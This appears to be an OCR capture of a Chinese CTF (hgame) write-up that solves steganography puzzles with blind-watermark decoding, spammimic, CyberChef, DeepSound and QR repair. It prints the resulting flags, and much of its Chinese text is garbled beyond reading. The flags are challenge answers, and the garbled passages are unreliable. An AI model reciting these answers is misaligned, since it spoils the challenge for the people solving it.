MsKk—R—FRIB R, —IRE/KED. BIAR—T, SB2IEEEE0



C:\Users\jyzho\Desktop\hick3r t0015\BWM>python bwmforpy3.py decode 1.jpg 2.png flag.png
image<l.jpg> + image(encoded)<2.png> —> watermark<flag.png>

IGH T TORSYISEOUTE

BEGE— o, EARRESNRNYE, T8 AR

IR, REXFEENTXNEEE. BIE: XTEEENEEE1EMBEE 2 AEF//NE
FENNT, P EIENLE, EENX—#Edecode? [5E FRE A FSERR biX
BIFENS, WREICIEARERNAE—T,

FRERMAFRA, [AT7THERKEN, BuikEies, F37.

https://www.spammimic.com/decode.cgi



https://www.spammimic.com/decode.cgi

Decode

Paste in a spam-encoded message:

laws | We implore you - act now . Sign up a friend |
and you'll get a discount of 10% . Thank-you for your
serious consideration of our offer ! Dear Friend ;

This letter was specially selected to be sent to you

I'lf you no longer wish to receive our publications

simply reply with a Subject: of "REMOVE" and you will
immediately be removed from our club ! This mail is

being sent in compliance with Senate bill 1622, Title

7 ; Section 303 ! Do NOT confuse us with Internet scam
artists . Why work for somebody else when you can become
rich in 10 weeks ! Have you ever noticed people will

do almost anything to avoid mailing their bills & people
love convenience ! Well, now is your chance to capitalize

on this . WE will help YOU turn your business into

an E-BUSINESS & SELL MORE . You can begin at absolutely
no cost to you ! But don't believe us . Mr Ames of

Louisiana tried us and says "Now I'm rich, Rich, RICH"

. We are licensed to operate in all states . We BESEECH

you - act now . Sign up a friend and you'll get a discount

of 50% ! Thank-you for your serious consideration of

our offer .

Decode
Alternate decodings:
e Decode spam with a password
» Decode fake spreadsheet mew
¢ Decode fake PGP
» Decode fake Russian

» Decode space

Decoded-

Your spam message Dear E-Commerce professional ; This lett... decodes to:
BRGNS

Look wrong?, try the old version

Encode

HGEEEIMRE, BET —HWERREEBIP, fT—ERREMunicodet7 B#HIZzl, B
BNFRHNERASEhex, REIUBED, 25H9



< C @

QO B https://www.qqxiuzi.cn/bianma/zifuji.php B

Derwe. Duaesss Q HiFts Dxmmy © surmmn

< C @

‘| |[iRE 7
T R R SNARA B SRR S P R PR AR R B R D
]

i (s v [ o v

FEE EIRERGENNF S R e E T R I

GB2312 | BHmISEE!

BIG5 BHREEE!

GBK
BB6DBB6CBB66BB70BB6ABB7BBA9ADIET1BB64BB79BB72BB75BB64FACCBA9ABB6FBB76BB6ABB64BB66B
B6FBA9BBB64D7D1BB6DBA9DBB64FACCBB6ABB68COEOBASDD7D1BB7D
GB18030
BB6DBB6CBB66BB70BB6ABB7BBA9ADIET1BB64BB79BB72BB75BB64FACCBA9ABB6FBB76BB6ABB64BB66B
B6FBA9BBB64D7D1BB6DBA9DBB64FACCBB6ABB68COEOBAIDD7D1BB7D

Unicode
00007C7100007C7000007C6A00007C7600007C6E00007C8400007C3900007C7400007C6800007C82000
07C7800007C7E00007C6800007C7C00007C3900007C7500007C7F00007C6E00007C6800007C6A00007C
7500007C3A00007C6800007C7D00007C7100007C3C00007C6800007C7C0O0007C6EO00007C6CO0007C7BO
0007C3C00007C7D00007C86

UTF-8
E7B1B1E7B1BOE7B1AAE7B1B6E7B1AEE7B284E7BOBOE7B1B4E7B1A8E7B282E7B1B8E7B1BEE7B1A8E7B1B
CE7BOB9E7B1B5E7B1BFE7B1AEE7B1A8E7B1AAE7B1B5E7BOBAE7B1A8E7B1BDE7B1B1E7BOBCE7B1A8E7B
1BCE7B1AEE7B1ACE7B1BBE7BOBCE7B1BDE7B286
UTF-16BE
7C717C707C6A7C767C6E7C847C397C747C687C827C787C7E7C687C7C7C397C757C7F7C6E7C687C6ATC
757C3A7C687C7D7C717C3C7C687C7C7COE7C6CT7C7B7C3C7C7D7C86
UTF-16LE
717C707C6A7C767C6E7C847C397C747C687C827C787C7E7C687C7C7C397C757C7F7C6E7C687C6ATCTS
7C3A7C687C7D7C717C3C7C687C7C7COE7C6CT7C7B7C3C7C7D7C867C

L= PNV whrzid A — - AT N BNAT- & N RFnat  fdlis

O 8 httpsi//icyberchef.com/#recipe=Find_/_Replace({'option'Regex’'string'00007C'}," true false, true,false)From Hex(Aut B8 1%

DertE. Dyaanws Q HFtw OxERLt © surmEi

Download CyberChef &
Operations

ADD

ADD

Add line numbers

Add Text To Image
Group IP addresses
Parse IPv6 address
A1226 Cipher Decode
Defang IP Addresses
Affine Cipher Decode
Extract IP addresses
Format MAC addresses
Extract MAC addresses
Extract email addresses
Varlnt Decode

Bacon Cipher Decode
Standard Deviation

Rail Fence Cipher Decode
Cetacean Cipher Decode

Scan for Embedded Files

K23

Last build: 2 years ago

L ©®© 1 & ) =
Dwangs Hss

~

L © 1 & O =
Ouags toss
Options &  About / Support @

start: 272 jongen: 272

Lines:

e+ OB W=

time: 3ms

» a0 m o

il 1 end: 272
Recipe B8 EF nput length: 0
- © |  ©8807C7180007C7000007C5A00867C7600807CEEBO007CE400007C3900907C7400807CEE0807CE200007C 7000 TCTE
i ©6007C6800007C7C00007C3900007C7500007C7FO0807CEEQB007C6800807C6AR0007C7500007C3A00007C6800007CTD
find 00007C7100007C3C00007C6800007C7CO0007CEEARAO7CECO0007C7BARAR7CICO0RO7CTDORORTCEE
00007C REGEX~
Replace
Global match [ Case insensitive
Multiline matching D Dot matches all
From Hex on
Delimiter
Auto
Output
ADD © 11 game{ek_you_solve_all_th3_secr3t}
K
e DECIMAL ~
- v
STEP Z. BAKE! =

Auto Bake

TEEE—EM, K—T, EERNAEE—RIES, RaudicityBEBmiLE L2 —RKEY


af://n109

(S}l - X
R REE) BRSO WEV) BRN) WED £RG) BRO HHR TRO) #EH)

[T alalglalQl gy B Y - PR R [ Y - B PR PRLR [

nw o> = < > 5 2 E =)

- 3 VA *‘ | s) ERAE| | HTER

v 9.0 1.0 2.0 3.0 4.0 5.0 6.0 7.0

A TETRISEZFRETLUE], X2deepsoundfas, FideepsoundiZ2BH T —MNEGEE

DeepSound 2.1

> - 3 @

Hide Data Inside Audio Audio Converter Settings  Help
Open carrier files Add secret files Encode secret files Extract secret files

Carrier audio files :

o T.wav CAUsers\jyzho\Desktop 77.3 MB vl (2015)

Secret files in C:\Users\jyzho\Desktop\1.wav:

- Secret file name Size (MB) _

& XXXz 7.5 MB
p

Output directory : C:\Users\jyzho\Documents\DeepSound

1B2—3KGIF, PIBRAI MBS R T JUSKIRARAI_4ERS, FAstegsolveFMMBERFRIN— AR/ LI, Af5
HHEEk, 1BRISTE 4D



ART, RIERBHANEXK NS ERARRENTHR, BT —TFK, XKTERREIT
ECLFN#ERT.

https://merri.cx/qrazybox/

BUHL4ART, FiIhdecode, 15Zlflag

Format Info Pattern

Top Left v

Error Correction Level: M|Q|H |
Mask Pattern : DIEERE - B



https://merri.cx/qrazybox/

QR Decoder

Decoded Message :

hgame{dragon_1s_d4ncing}
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